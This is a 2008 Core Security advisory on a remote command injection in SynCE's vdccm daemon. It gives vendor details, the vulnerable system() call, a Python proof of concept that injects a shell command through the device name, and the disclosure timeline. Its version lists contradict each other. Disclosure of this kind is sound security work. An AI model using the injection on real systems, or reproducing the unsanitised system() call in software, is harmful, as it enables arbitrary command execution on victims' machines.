SynCE Remote Command Injection

1. Advisory Information

Title: SynCE Remote Command Injection
Advisory ID:  CORE-2007-1106
Advisory URL: https://www.coresecurity.com/core-labs/advisories/synce-remote-command-injection
Date published: 2008-01-07
Date of last update: 2008-01-03
Vendors contacted: SynCE team
Release mode: Coordinated release

Vulnerability Information

Class: Input validation error
Remotely Exploitable: Yes
Locally Exploitable: Yes
Bugtraq ID: 27178
CVE Name:N/A

Vulnerability Description

SynCE is an open source project, whose objective is to provide a way of communicating with a Windows CE or Pocket PC device, from a computer running Linux, *BSD or other unices.

The vdccm daemon (part of the SynCE package) is vulnerable to a remote command injection, which can be exploited by malicious remote attackers. The vulnerability is due to the vdccm daemon not properly sanitizing certain input before using it to invoke external scripts. This can be exploited to execute arbitrary commands with the privileges of the vdccm daemon by sending specially crafted requests.

Vulnerable packages

• Synce-dccm since version 0.92 and earlier.
• Synce-dccm since version 0.92

  Non-vulnerable packages

  • • Synce-dccm 0.91 and earlier.
    • SynCE-dccm 0.10.1

      Vendor Information, Solutions and Workarounds

      This vulnerability has been fixed in SynCE-dccm 0.10.1, available in http://sourceforge.net/projects/synce/.

      Credits

      This vulnerability was discovered and researched by Alfredo Ortega and Oren Isacson from Core Security Technologies.

      Technical Description / Proof of Concept Code

      The vdccm daemon listens on port 5679 for incoming connections from a Windows CE device.

      • The command injection exist on the name of the connected device. The code at src/utils.cpp, function  Utils::runScripts  contains the following code:
         

        string command = string(path) + " " + action + " " + deviceName; system(command.c_str()); 

        
        The contents of the string variable “deviceName” is controlled by the attacker.
        The next python proof of concept script will remotely create an empty file named “/tmp/vulnerability” when used on a FreeBSD host running the vulnerable daemon.

        import socket, struct import time def AtoWChar(string): return ''.join([x+chr(0) for x in string]) 
        HOST = '192.168.XXX.XXX' PORT = 5679 c= socket.socket(socket.AF_INET, socket.SOCK_STREAM) c.connect(
        (HOST, PORT)) buf="\x00"*0x18 buf+='\x30\x00\x00\x00' buf+='\x30\x00\x00\x00' buf+='\x30\x00\x00\x00'
         buf+="\x00"*12 string=AtoWChar("&/usr/bin/touch /tmp/vulnerability") buf+=string+"\x00\x00"+"\x00"*12
         c.send(struct.pack("L",63+len(string))+buf+"\x00" ) 

        
        NOTE: for this proof of concept to work, a script file is needed on the “$home$/.synce/scripts” directory. Some linux distributions ship with scripts on this directory by default.

        Report Timeline

        • 2007-11-12: Core notifies the SynCE team of the vulnerability.
        • 2007-11-13: Technical details sent by Core to SynCE team.
        • 2007-11-22: SynCE notifies Core that a fix has been produced, and will be released in the next SynCE official release.
        • 2007-12-20: SynCE releases version 0.10.1, which fixes this vulnerability.
        • 2008-01-07: CORE-2007-1106 advisory is published.

        References

        About Corelabs

        CoreLabs, the research center of Core Security Technologies, is charged with anticipating the future needs and requirements for information security technologies.
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        About Core Security Technologies

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        DISCLAIMER

        The contents of this advisory are copyright (c) 2008 CORE Security Technologies and (c) 2008 CoreLabs, and may be distributed freely provided that no fee is charged for this distribution and proper credit is given.

        PGP/GPG KEYS

        This advisory has been signed with the GPG key of Core Security Technologies advisories team.